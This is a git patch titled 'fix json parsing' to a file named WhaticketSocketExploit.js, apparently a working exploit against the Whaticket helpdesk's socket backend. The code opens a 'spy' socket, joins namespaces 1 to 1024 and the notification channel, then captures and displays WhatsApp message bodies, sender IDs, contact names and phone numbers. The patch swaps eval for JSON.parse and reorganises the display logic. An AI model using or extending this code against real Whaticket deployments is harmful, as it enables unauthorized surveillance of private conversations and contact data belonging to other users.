From 5fd6f8330e617890695e63f00e45f8285a92d1fd Mon Sep 17 00:00:00 2001
From: lucasgcavalcante <lucasgoncalvescavalcante@gmail.com>
Date: Sat, 11 Jan 2025 10:13:33 -0400
Subject: [PATCH] fix json parsing

---
 WhaticketSocketExploit.js | 53 ++++++++++++++++++++++-----------------
 1 file changed, 30 insertions(+), 23 deletions(-)

diff --git a/WhaticketSocketExploit.js b/WhaticketSocketExploit.js
index 5e63b4f..3d214a1 100644
--- a/WhaticketSocketExploit.js
+++ b/WhaticketSocketExploit.js
@@ -14,13 +14,13 @@ const runTest = (backend_url, token) => {
   }
 
   spyOthers.insertAdjacentHTML("afterbegin", "<h3>Initialized</h3>");
-  spySocket.onmessage = function(event) {
+  spySocket.onmessage = function (event) {
     if (event.data.startsWith("0{")) {
       setTimeout(() => {
         spyOthers.insertAdjacentHTML("afterbegin", "<pre>Sending handshake</pre>");
         spySocket.send("40");
         spyOthers.insertAdjacentHTML("afterbegin", "<pre>Connecting to namespaces from 1 to 1024</pre>");
-        for (n=1; n<=1024; n++) {
+        for (n = 1; n <= 1024; n++) {
           spySocket.send(`40/${n},`);
         }
       }, 1000);
@@ -33,28 +33,35 @@ const runTest = (backend_url, token) => {
         spySocket.send('42["joinNotification"]');
       }, 2000);
     } else if (event.data.startsWith("42")) {
-      data = eval(event.data.substr(event.data.indexOf(',')+1));
-      console.log(data);
-      if (data[0].endsWith('appMessage')) {
-        if (data[1]?.message?.body) {
-          spyMessages.insertAdjacentHTML("afterbegin", `
-           <div class="message">
-             <b>From:</b> ${data[1].message.fromMe ? "Me" : data[1].message.remoteJid}<br>
-             <b>Message:</b> ${data[1].message.body}
-           </div>          
-           `);
-        }
-      } else if (data[0].endsWith('contact')) {
-        if (data[1]?.contact?.name) {
-          spyContacts.insertAdjacentHTML("afterbegin", `
-           <div class="contact">
-             <b>Name:</b> ${data[1].contact.name}<br>
-             <b>Number:</b> ${data[1].contact.number}
-           </div>          
-           `);
+      try {
+        let jsonString = event.data.substr(event.data.indexOf(',') + 1).replace(/]$/, '');
+        console.log('JSON string to parse:', jsonString);
+        let data = JSON.parse(jsonString);
+        console.log('Parsed data:', data);
+
+        if (data.action === 'create' || data.action === 'update') {
+          if (data.message && data.message.body) {
+            spyMessages.insertAdjacentHTML("afterbegin", `
+             <div class="message">
+               <b>From:</b> ${data.message.fromMe ? "Me" : data.message.remoteJid}<br>
+               <b>Message:</b> ${data.message.body}
+             </div>          
+             `);
+          } else if (data.contact && data.contact.name) {
+            spyContacts.insertAdjacentHTML("afterbegin", `
+             <div class="contact">
+               <b>Name:</b> ${data.contact.name}<br>
+               <b>Number:</b> ${data.contact.number}
+             </div>          
+             `);
+          } else {
+            spyOthers.insertAdjacentHTML("afterbegin", "<pre>" + JSON.stringify(data) + "</pre>");
+          }
+        } else {
+          spyOthers.insertAdjacentHTML("afterbegin", "<pre>" + JSON.stringify(data) + "</pre>");
         }
-      } else {
-        spyOthers.insertAdjacentHTML("afterbegin", "<pre>" + JSON.stringify(data) + "</pre>");
+      } catch (error) {
+        console.error('Error parsing message data:', error);
       }
     }
   }